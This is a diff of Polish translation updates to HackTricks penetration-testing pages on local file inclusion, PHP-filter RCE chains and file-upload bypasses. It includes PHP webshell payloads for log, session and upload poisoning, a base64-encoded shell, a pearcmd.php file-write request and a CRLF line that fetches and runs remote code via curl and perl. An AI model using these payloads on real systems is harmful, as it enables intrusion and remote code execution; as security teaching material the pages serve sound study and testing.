- Usługa wykonująca zapis może nasłuchiwać na porcie nie-HTTP (np. JMF XML listener na TCP 4004). Główny web portal (inny port) później będzie serwować twój payload.
|
||||
- Na stosach Java, zapisy plików są często implementowane prostym łączeniem `File`/`Paths`. Brak canonicalisation/allow-listing jest główną wadą.
|
||||
- Usługa wykonująca zapis może nasłuchiwać na porcie innym niż HTTP (np. JMF XML listener na TCP 4004). Główne webowe portal (inny port) później będzie serwować twój payload.
|
||||
- Na stosach Java zapisy plików są często implementowane prostym łączeniem `File`/`Paths`. Brak kanonizacji/allow-listingu jest główną wadą.
|
||||
|
||||
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
|
||||
```xml
|
||||
@ -466,26 +475,26 @@ in.transferTo(out);
|
||||
</Command>
|
||||
</JMF>
|
||||
```
|
||||
Środki zabezpieczające, które niwelują tę klasę błędów:
|
||||
- Rozwiązuj do ścieżki kanonicznej i wymuszaj, aby była potomkiem katalogu bazowego znajdującego się na białej liście.
|
||||
Umacnianie, które uniemożliwia tę klasę błędów:
|
||||
- Rozwiązuj do kanonicznej ścieżki i egzekwuj, że jest ona potomkiem katalogu bazowego z listy dozwolonych.
|
||||
- Odrzucaj każdą ścieżkę zawierającą `..`, ścieżki absolutne lub litery dysków; preferuj generowane nazwy plików.
|
||||
- Uruchamiaj proces zapisujący jako konto o ograniczonych uprawnieniach i oddziel katalogi zapisu od katalogów serwowanych.
|
||||
- Uruchamiaj proces zapisujący jako konto o niskich uprawnieniach i separuj katalogi do zapisu od katalogów serwowanych.
|
||||
|
||||
## Remote File Inclusion
|
||||
|
||||
Explained previously, [**follow this link**](#remote-file-inclusion).
|
||||
Wyjaśnione wcześniej, [**follow this link**](#remote-file-inclusion).
|
||||
|
||||
### Via Apache/Nginx log file
|
||||
|
||||
Jeśli serwer Apache lub Nginx jest **podatny na LFI** wewnątrz funkcji include możesz spróbować uzyskać dostęp do **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, umieścić w **user agent** lub w **GET parameter** php shell taki jak **`<?php system($_GET['c']); ?>`** i includeować ten plik
|
||||
Jeśli serwer Apache lub Nginx jest **podatny na LFI** w funkcji include możesz spróbować uzyskać dostęp do **`/var/log/apache2/access.log` lub `/var/log/nginx/access.log`**, umieścić w **user agent** lub w **GET parameter** php shell taki jak **`<?php system($_GET['c']); ?>`** i dołączyć ten plik
|
||||
|
||||
> [!WARNING]
|
||||
> Zauważ, że **jeśli użyjesz podwójnych cudzysłowów** dla shell zamiast **pojedynczych**, podwójne cudzysłowy zostaną zmienione na łańcuch znaków "_**quote;**_", **PHP zgłosi błąd** i **nic więcej nie zostanie wykonane**.
|
||||
> Zauważ, że **jeśli użyjesz podwójnych cudzysłowów** dla shell zamiast **pojedynczych**, podwójne cudzysłowy zostaną zmienione na string "_**quote;**_", **PHP zgłosi błąd** i **nic więcej nie zostanie wykonane**.
|
||||
>
|
||||
> Upewnij się również, że **prawidłowo zapisujesz payload** lub PHP będzie zgłaszać błąd za każdym razem, gdy spróbuje wczytać plik logu i nie będziesz miał drugiej szansy.
|
||||
> Upewnij się także, że **prawidłowo zapisujesz payload** albo PHP będzie zgłaszać błąd za każdym razem, gdy spróbuje wczytać plik logu i nie będziesz mieć drugiej szansy.
|
||||
|
||||
To można również zrobić w innych logach, ale **uważaj,** kod w logach może być URL encoded i to może zniszczyć Shell. Nagłówek **authorisation "basic"** zawiera "user:password" w Base64 i jest dekodowany w logach. PHPShell może być wstawiony wewnątrz tego nagłówka.\
|
||||
Other possible log paths:
|
||||
To można też zrobić w innych logach, ale **uważaj,** kod wewnątrz logów może być URL encoded i to może zniszczyć Shell. Nagłówek **authorisation "basic"** zawiera "user:password" w Base64 i jest dekodowany w logach. PHPShell może być wstawiony w ten nagłówek.\
|
||||
Inne możliwe ścieżki logów:
|
||||
```python
|
||||
/var/log/apache2/access.log
|
||||
/var/log/apache/access.log
|
||||
@ -501,42 +510,42 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
|
||||
|
||||
### Przez e-mail
|
||||
|
||||
**Wyślij maila** na konto wewnętrzne (user@localhost) zawierającego Twój PHP payload jak `<?php echo system($_REQUEST["cmd"]); ?>` i spróbuj include'ować mail użytkownika ze ścieżką taką jak **`/var/mail/<USERNAME>`** lub **`/var/spool/mail/<USERNAME>`**
|
||||
**Wyślij maila** na konto wewnętrzne (user@localhost) zawierającego Twój PHP payload jak `<?php echo system($_REQUEST["cmd"]); ?>` i spróbuj dołączyć go do maila użytkownika ze ścieżką taką jak **`/var/mail/<USERNAME>`** lub **`/var/spool/mail/<USERNAME>`**
|
||||
|
||||
### Przez /proc/*/fd/*
|
||||
### Via /proc/\*/fd/\*
|
||||
|
||||
1. Uploaduj dużo shelli (na przykład: 100)
|
||||
2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), with $PID = PID of the process (can be brute forced) and $FD the file descriptor (can be brute forced too)
|
||||
1. Wgraj wiele shelli (na przykład: 100)
|
||||
2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), z $PID = PID procesu (może być brute forced) i $FD to deskryptor pliku (również może być brute forced)
|
||||
|
||||
### Przez /proc/self/environ
|
||||
### Via /proc/self/environ
|
||||
|
||||
Podobnie jak w przypadku pliku logu, wyślij payload w User-Agent, zostanie on odzwierciedlony w pliku /proc/self/environ
|
||||
Podobnie jak w przypadku pliku logu, wyślij payload w nagłówku User-Agent — zostanie on odzwierciedlony w pliku /proc/self/environ
|
||||
```
|
||||
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
|
||||
User-Agent: <?=phpinfo(); ?>
|
||||
```
|
||||
### Via upload
|
||||
### Przez upload
|
||||
|
||||
Jeśli możesz uploadować plik, po prostu wstrzyknij w niego shell payload (np.: `<?php system($_GET['c']); ?>`).
|
||||
Jeśli możesz uploadować plik, po prostu wstrzyknij do niego shell payload (np : `<?php system($_GET['c']); ?>` ).
|
||||
```
|
||||
http://example.com/index.php?page=path/to/uploaded/file.png
|
||||
```
|
||||
Aby plik pozostał czytelny, najlepiej wstrzyknąć to do metadanych obrazków/doc/pdf
|
||||
Aby plik pozostał czytelny, najlepiej wstrzyknąć go do metadanych obrazów/doc/pdf
|
||||
|
||||
### Przez przesłanie pliku ZIP
|
||||
### Przez upload pliku Zip
|
||||
|
||||
Prześlij plik ZIP zawierający skompresowany PHP shell i uzyskaj dostęp:
|
||||
```python
|
||||
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
|
||||
```
|
||||
### Przez sesje PHP
|
||||
### Za pomocą PHP sessions
|
||||
|
||||
Sprawdź, czy strona używa sesji PHP (PHPSESSID)
|
||||
Sprawdź, czy strona używa PHP Session (PHPSESSID)
|
||||
```
|
||||
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
|
||||
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
|
||||
```
|
||||
W PHP te sesje są przechowywane w plikach _/var/lib/php5/sess\\_\[PHPSESSID]\_
|
||||
W PHP sesje te są przechowywane w plikach _/var/lib/php5/sess\\_\[PHPSESSID]\_
|
||||
```
|
||||
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
|
||||
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
|
||||
@ -551,77 +560,77 @@ login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/s
|
||||
```
|
||||
### Przez ssh
|
||||
|
||||
Jeśli ssh jest aktywny, sprawdź, który użytkownik jest używany (/proc/self/status & /etc/passwd) i spróbuj uzyskać dostęp do **\<HOME>/.ssh/id_rsa**
|
||||
Jeśli ssh jest aktywny, sprawdź, którego użytkownika używa (/proc/self/status & /etc/passwd) i spróbuj uzyskać dostęp do **\<HOME>/.ssh/id_rsa**
|
||||
|
||||
### **Przez** **vsftpd** _**logi**_
|
||||
### **Przez** **vsftpd** _**logs**_
|
||||
|
||||
Logi serwera FTP vsftpd znajdują się w _**/var/log/vsftpd.log**_. W scenariuszu, gdy występuje luka typu Local File Inclusion (LFI) i możliwy jest dostęp do wystawionego serwera vsftpd, można rozważyć następujące kroki:
|
||||
Logi serwera FTP vsftpd znajdują się w _**/var/log/vsftpd.log**_. W scenariuszu, w którym istnieje podatność Local File Inclusion (LFI) i możliwy jest dostęp do wystawionego serwera vsftpd, można rozważyć następujące kroki:
|
||||
|
||||
1. Wstrzyknij payload PHP w pole username podczas procesu logowania.
|
||||
1. Zainjektuj PHP payload do pola username podczas procesu logowania.
|
||||
2. Po wstrzyknięciu użyj LFI, aby pobrać logi serwera z _**/var/log/vsftpd.log**_.
|
||||
|
||||
### Przez php base64 filter (używając base64)
|
||||
|
||||
Jak pokazano w [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artykule, PHP base64 filter po prostu ignoruje znaki niebędące base64. Możesz użyć tego, aby obejść sprawdzanie rozszerzenia pliku: jeśli dostarczysz base64, które kończy się na ".php", filtr zignoruje "." i dołączy "php" do base64. Oto przykładowy payload:
|
||||
Jak pokazano w [tym](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artykule, PHP base64 filter po prostu ignoruje znaki niebędące base64. Możesz tego użyć, aby obejść sprawdzanie rozszerzenia pliku: jeśli dostarczysz base64, które kończy się na ".php", filtr zignoruje "." i dołączy "php" do base64. Oto przykładowy payload:
|
||||
```url
|
||||
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
|
||||
|
||||
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||
```
|
||||
### Za pomocą php filters (plik nie jest potrzebny)
|
||||
### Przez php filters (bez potrzeby pliku)
|
||||
|
||||
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) wyjaśnia, że możesz użyć **php filters to generate arbitrary content** jako output. Co w zasadzie oznacza, że możesz **generate arbitrary php code** dla include **without needing to write** go do pliku.
|
||||
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) wyjaśnia, że możesz użyć **php filters do generowania dowolnej zawartości** jako wyjście. Co właściwie oznacza, że możesz **wygenerować dowolny kod php** dla include **bez potrzeby zapisywania** go do pliku.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-php-filters.md
|
||||
{{#endref}}
|
||||
|
||||
### Za pomocą segmentation fault
|
||||
### Przez segmentation fault
|
||||
|
||||
**Upload** plik, który zostanie zapisany jako **temporary** w `/tmp`, następnie w **tej samej request** wywołaj **segmentation fault**, a wtedy **temporary file won't be deleted** i możesz go wyszukać.
|
||||
**Wyślij** plik, który zostanie zapisany jako **tymczasowy** w `/tmp`, potem w **tym samym żądaniu** wywołaj **segmentation fault**, a wtedy **tymczasowy plik nie zostanie usunięty** i będziesz mógł go znaleźć.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-segmentation-fault.md
|
||||
{{#endref}}
|
||||
|
||||
### Za pomocą Nginx temp file storage
|
||||
### Przez przechowywanie plików tymczasowych Nginx
|
||||
|
||||
Jeśli znalazłeś **Local File Inclusion** i **Nginx** działa przed PHP, możesz być w stanie uzyskać RCE przy użyciu poniższej techniki:
|
||||
If you found a **Local File Inclusion** and **Nginx** is running in front of PHP you might be able to obtain RCE with the following technique:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-nginx-temp-files.md
|
||||
{{#endref}}
|
||||
|
||||
### Za pomocą PHP_SESSION_UPLOAD_PROGRESS
|
||||
### Przez PHP_SESSION_UPLOAD_PROGRESS
|
||||
|
||||
Jeśli znalazłeś **Local File Inclusion**, nawet jeśli **don't have a session** i `session.auto_start` jest `Off`. Jeśli dostarczysz **`PHP_SESSION_UPLOAD_PROGRESS`** w danych **multipart POST**, PHP **enable the session for you**. Można to nadużyć, aby uzyskać RCE:
|
||||
If you found a **Local File Inclusion** even if you **don't have a session** and `session.auto_start` is `Off`. If you provide the **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST** data, PHP will **enable the session for you**. You could abuse this to get RCE:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
via-php_session_upload_progress.md
|
||||
{{#endref}}
|
||||
|
||||
### Za pomocą temp file uploads in Windows
|
||||
### Przez przesyłanie plików tymczasowych w Windows
|
||||
|
||||
Jeśli znalazłeś **Local File Inclusion** i serwer działa na **Windows**, możesz uzyskać RCE:
|
||||
If you found a **Local File Inclusion** i serwer działa na **Windows**, możesz uzyskać RCE:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-temp-file-uploads.md
|
||||
{{#endref}}
|
||||
|
||||
### Za pomocą `pearcmd.php` + URL args
|
||||
### Przez `pearcmd.php` + URL args
|
||||
|
||||
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), skrypt `/usr/local/lib/phppearcmd.php` istnieje domyślnie w php docker images. Co więcej, możliwe jest przekazanie argumentów do skryptu przez URL, ponieważ wskazano, że jeśli parametr URL nie ma `=`, powinien być użyty jako argument. Zobacz także [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) oraz [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
|
||||
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument. See also [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
|
||||
|
||||
Poniższe żądanie tworzy plik w `/tmp/hello.php` z zawartością `<?=phpinfo()?>`:
|
||||
The following request create a file in `/tmp/hello.php` with the content `<?=phpinfo()?>`:
|
||||
```bash
|
||||
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
|
||||
```
|
||||
Poniższy przykład wykorzystuje podatność CRLF do uzyskania RCE (z [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
|
||||
Poniższe wykorzystuje podatność CRLF do uzyskania RCE (z [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
|
||||
```
|
||||
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
|
||||
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
|
||||
@ -639,7 +648,7 @@ lfi2rce-via-phpinfo.md
|
||||
|
||||
### Przez compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
|
||||
|
||||
Jeśli znalazłeś **Local File Inclusion** i możesz exfiltrate ścieżkę pliku tymczasowego, ALE serwer sprawdza, czy plik do włączenia ma znaczniki PHP, możesz spróbować obejść tę kontrolę przy pomocy tej **Race Condition**:
|
||||
Jeśli znalazłeś **Local File Inclusion** i możesz **can exfiltrate the path** pliku tymczasowego, ALE **serwer** **is** **checking** if the **file to be included has PHP marks**, możesz spróbować **bypass that check** za pomocą tego **Race Condition**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -648,7 +657,7 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
|
||||
|
||||
### Przez eternal waiting + bruteforce
|
||||
|
||||
Jeśli możesz wykorzystać LFI do **upload temporary files** i sprawić, że serwer **zawieśnie** wykonywanie PHP, możesz następnie **brute force** nazwy plików przez wiele godzin, aby znaleźć plik tymczasowy:
|
||||
Jeśli możesz wykorzystać LFI do **upload temporary files** i sprawić, że serwer **hang** wykonanie PHP, możesz następnie przez wiele godzin **brute force filenames during hours**, aby znaleźć plik tymczasowy:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -657,14 +666,14 @@ lfi2rce-via-eternal-waiting.md
|
||||
|
||||
### Do Fatal Error
|
||||
|
||||
Jeśli dołączysz którykolwiek z plików `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Musisz dołączyć ten sam plik 2 razy, aby wywołać ten błąd).
|
||||
Jeśli dołączysz któryś z plików `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Musisz dołączyć ten sam plik 2 razy, aby wywołać ten błąd).
|
||||
|
||||
**Nie wiem, jak to może być przydatne, ale może.**\
|
||||
_Nawet jeśli spowodujesz PHP Fatal Error, pliki tymczasowe PHP są usuwane._
|
||||
**Nie wiem, jak to może być przydatne, ale może być.**\
|
||||
_Nawet jeśli spowodujesz PHP Fatal Error, przesłane tymczasowe pliki PHP są usuwane._
|
||||
|
||||
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Źródła
|
||||
## References
|
||||
|
||||
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
|
||||
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
|
||||
@ -673,6 +682,7 @@ _Nawet jeśli spowodujesz PHP Fatal Error, pliki tymczasowe PHP są usuwane._
|
||||
- [watchTowr – We need to talk about PHP (pearcmd.php gadget)](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/)
|
||||
- [Orange Tsai – Confusion Attacks on Apache](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/)
|
||||
- [VTENEXT 25.02 – a three-way path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||||
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
|
||||
|
||||
{{#file}}
|
||||
EN-Local-File-Inclusion-1.pdf
|
||||
|
@ -1,37 +1,38 @@
|
||||
# LFI2RCE za pomocą filtrów PHP
|
||||
# LFI2RCE via PHP Filters
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Wprowadzenie
|
||||
|
||||
Ten [**artykuł**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) wyjaśnia, że możesz użyć **filtrów php do generowania dowolnej treści** jako wyjścia. Co zasadniczo oznacza, że możesz **generować dowolny kod php** do włączenia **bez potrzeby zapisywania** go w pliku.
|
||||
## Wstęp
|
||||
|
||||
Zasadniczo celem skryptu jest **wygenerowanie ciągu Base64** na **początku** pliku, który zostanie **ostatecznie zdekodowany**, dostarczając pożądany ładunek, który zostanie **zinterpretowany przez `include`**.
|
||||
Ten [**opis** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) wyjaśnia, że można użyć **php filters to generate arbitrary content** jako wyjścia. Co w praktyce oznacza, że możesz **generate arbitrary php code** dla include **without needing to write** go do pliku.
|
||||
|
||||
Podstawy do zrobienia tego są:
|
||||
Celem skryptu jest w zasadzie **wygenerowanie Base64** ciągu na **początku** pliku, który zostanie **ostatecznie zdekodowany**, dostarczając żądany payload, który zostanie **zinterpretowany przez `include`**.
|
||||
|
||||
- `convert.iconv.UTF8.CSISO2022KR` zawsze doda `\x1b$)C` na początku ciągu
|
||||
- `convert.base64-decode` jest niezwykle tolerancyjny, zasadniczo zignoruje wszelkie znaki, które nie są prawidłowym base64. Powoduje pewne problemy, jeśli napotka nieoczekiwane "=", ale te można usunąć za pomocą filtru `convert.iconv.UTF8.UTF7`.
|
||||
Podstawy, by to zrobić, to:
|
||||
|
||||
Pętla do generowania dowolnej treści to:
|
||||
- `convert.iconv.UTF8.CSISO2022KR` zawsze dopisze `\x1b$)C` do ciągu
|
||||
- `convert.base64-decode` jest bardzo tolerancyjny, zasadniczo zignoruje znaki, które nie są poprawnym base64. Sprawia pewne problemy, jeśli napotka nieoczekiwane "=", ale te można usunąć filtrem `convert.iconv.UTF8.UTF7`
|
||||
|
||||
1. dodaj `\x1b$)C` do naszego ciągu, jak opisano powyżej
|
||||
2. zastosuj łańcuch konwersji iconv, który pozostawia nasz początkowy base64 nienaruszony i konwertuje część, którą właśnie dodaliśmy, na jakiś ciąg, w którym jedynym prawidłowym znakiem base64 jest następna część naszego kodu php zakodowanego w base64
|
||||
3. zdekoduj base64 i ponownie zakoduj ciąg, co usunie wszelkie śmieci pomiędzy
|
||||
4. Wróć do 1, jeśli base64, które chcemy skonstruować, nie jest jeszcze zakończone
|
||||
5. zdekoduj base64, aby uzyskać nasz kod php
|
||||
Pętla do wygenerowania dowolnej treści wygląda następująco:
|
||||
|
||||
1. dopisz `\x1b$)C` do naszego ciągu jak opisano powyżej
|
||||
2. zastosuj łańcuch konwersji iconv, który pozostawia nasz początkowy base64 nienaruszony i konwertuje część, którą właśnie dopisaliśmy, na taki ciąg, w którym jedynym poprawnym znakiem base64 jest następna część naszego base64-encoded php code
|
||||
3. base64-decode i base64-encode ciągu, co usunie wszelki śmieć pomiędzy
|
||||
4. wróć do 1 jeśli base64, który chcemy zbudować, nie jest jeszcze ukończony
|
||||
5. base64-decode, aby otrzymać nasz kod php
|
||||
|
||||
> [!WARNING]
|
||||
> **Includes** zazwyczaj robią coś takiego jak **dodawanie ".php" na końcu** pliku, co może utrudnić wykorzystanie tego, ponieważ musisz znaleźć plik .php z treścią, która nie zniszczy exploita... lub **możesz po prostu użyć `php://temp` jako zasobu**, ponieważ może **mieć cokolwiek dodane do nazwy** (np. +".php") i nadal pozwoli to na działanie exploita!
|
||||
> **Includes** usually do things like **appending ".php" at the end** of the file, which could diffecult the exploitation of this because you would need to find a .php file with a content that does't kill the exploit... or you **could just use `php://temp` as resource** because it can **have anything appended in the name** (lie +".php") and it will still allow the exploit to work!
|
||||
|
||||
## Jak dodać również sufiksy do wynikowych danych
|
||||
## Jak dodać sufiksy do wynikowego ciągu danych
|
||||
|
||||
[**Ten artykuł wyjaśnia**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) jak nadal możesz nadużywać filtrów PHP, aby dodać sufiksy do wynikowego ciągu. To jest świetne, jeśli potrzebujesz, aby wyjście miało jakiś konkretny format (jak json lub może dodanie jakichś bajtów magicznych PNG)
|
||||
[**Ten artykuł wyjaśnia**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix), jak można nadal nadużyć PHP filters, aby dodać sufiksy do wynikowego stringa. To przydatne, gdy potrzebujesz, aby output miał konkretny format (np. json lub dodanie PNG magic bytes).
|
||||
|
||||
## Narzędzia automatyczne
|
||||
## Automatyczne narzędzia
|
||||
|
||||
- [https://github.com/synacktiv/php_filter_chain_generator](https://github.com/synacktiv/php_filter_chain_generator)
|
||||
- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(może dodać sufiksy)**
|
||||
- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(can add suffixes)**
|
||||
|
||||
## Pełny skrypt
|
||||
```python
|
||||
@ -95,7 +96,7 @@ print(r.text)
|
||||
```
|
||||
### Ulepszenia
|
||||
|
||||
Poprzedni skrypt jest ograniczony do znaków base64 potrzebnych do tego ładunku. Dlatego stworzyłem własny skrypt, aby **bruteforce'ować wszystkie znaki base64**:
|
||||
Poprzedni skrypt był ograniczony do znaków base64 potrzebnych dla tego payloadu. Dlatego stworzyłem własny skrypt, aby **bruteforce all the base64 characters**:
|
||||
```php
|
||||
conversions = {
|
||||
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
|
||||
@ -250,9 +251,10 @@ find_vals($init);
|
||||
}
|
||||
?>
|
||||
```
|
||||
## Więcej odniesień
|
||||
## Więcej odnośników
|
||||
|
||||
- [https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html](https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html)
|
||||
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,13 +1,13 @@
|
||||
# File Upload
|
||||
# Przesyłanie plików
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## File Upload General Methodology
|
||||
## Ogólna metodologia przesyłania plików
|
||||
|
||||
Inne przydatne rozszerzenia:
|
||||
Other useful extensions:
|
||||
|
||||
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
|
||||
- **Praca w PHPv8**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
|
||||
- **Working in PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
|
||||
- **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
|
||||
- **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
|
||||
- **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
|
||||
@ -15,13 +15,13 @@ Inne przydatne rozszerzenia:
|
||||
- **Perl**: _.pl, .cgi_
|
||||
- **Erlang Yaws Web Server**: _.yaws_
|
||||
|
||||
### Ominięcie sprawdzania rozszerzeń plików
|
||||
### Omijanie kontroli rozszerzeń plików
|
||||
|
||||
1. Jeśli to dotyczy, **sprawdź** **poprzednie rozszerzenia.** Przetestuj je również używając **wielkich liter**: _pHp, .pHP5, .PhAr ..._
|
||||
2. _Sprawdź **dodanie ważnego rozszerzenia przed** rozszerzeniem wykonawczym (użyj również poprzednich rozszerzeń):_
|
||||
1. Jeśli mają zastosowanie, **sprawdź** poprzednie rozszerzenia. Testuj je także używając wielkich liter: _pHp, .pHP5, .PhAr ..._
|
||||
2. _Sprawdź **dodanie prawidłowego rozszerzenia przed** rozszerzeniem wykonawczym (użyj również poprzednich rozszerzeń):_
|
||||
- _file.png.php_
|
||||
- _file.png.Php5_
|
||||
3. Spróbuj dodać **znaki specjalne na końcu.** Możesz użyć Burp do **bruteforce** wszystkich **znaków ascii** i **Unicode**. (_Zauważ, że możesz również spróbować użyć **wcześniej** wspomnianych **rozszerzeń**_)
|
||||
3. Spróbuj dodać **znaki specjalne na końcu.** Możesz użyć Burp do **bruteforce'owania** wszystkich znaków **ascii** i **Unicode**. (_Uwaga: możesz także spróbować użyć wcześniej wspomnianych rozszerzeń_)
|
||||
- _file.php%20_
|
||||
- _file.php%0a_
|
||||
- _file.php%00_
|
||||
@ -31,7 +31,7 @@ Inne przydatne rozszerzenia:
|
||||
- _file._
|
||||
- _file.php...._
|
||||
- _file.pHp5...._
|
||||
4. Spróbuj obejść zabezpieczenia **oszukując parser rozszerzeń** po stronie serwera za pomocą technik takich jak **podwajanie** **rozszerzenia** lub **dodawanie śmieci** danych (**bajty** null) między rozszerzeniami. _Możesz również użyć **wcześniejszych rozszerzeń** do przygotowania lepszego ładunku._
|
||||
4. Spróbuj ominąć zabezpieczenia **oszukując parser rozszerzeń** po stronie serwera technikami takimi jak **podwajanie** **rozszerzenia** lub **dodawanie śmieciowych** danych (bajtów **null**) pomiędzy rozszerzeniami. _Możesz również użyć **poprzednich rozszerzeń** żeby przygotować lepszy payload._
|
||||
- _file.png.php_
|
||||
- _file.png.pHp5_
|
||||
- _file.php#.png_
|
||||
@ -43,72 +43,72 @@ Inne przydatne rozszerzenia:
|
||||
5. Dodaj **kolejną warstwę rozszerzeń** do poprzedniego sprawdzenia:
|
||||
- _file.png.jpg.php_
|
||||
- _file.php%00.png%00.jpg_
|
||||
6. Spróbuj umieścić **rozszerzenie exec przed ważnym rozszerzeniem** i miej nadzieję, że serwer jest źle skonfigurowany. (przydatne do wykorzystania błędów konfiguracyjnych Apache, gdzie wszystko z rozszerzeniem **_**.php**_**, ale** niekoniecznie kończące się na .php** wykona kod):
|
||||
6. Spróbuj umieścić **rozszerzenie wykonywalne przed prawidłowym rozszerzeniem** i miej nadzieję, że serwer jest źle skonfigurowany. (przydatne przy błędnych konfiguracjach Apache, gdzie wszystko z rozszerzeniem .php — nawet jeśli nie kończy się na .php — wykona kod):
|
||||
- _ex: file.php.png_
|
||||
7. Używając **NTFS alternate data stream (ADS)** w **Windows**. W tym przypadku, znak dwukropka “:” zostanie wstawiony po zabronionym rozszerzeniu i przed dozwolonym. W rezultacie na serwerze zostanie utworzony **pusty plik z zabronionym rozszerzeniem** (np. “file.asax:.jpg”). Plik ten może być później edytowany za pomocą innych technik, takich jak użycie jego krótkiej nazwy. Wzorzec “**::$data**” może być również użyty do tworzenia plików niepustych. Dlatego dodanie znaku kropki po tym wzorcu może być również przydatne do ominięcia dalszych ograniczeń (np. “file.asp::$data.”)
|
||||
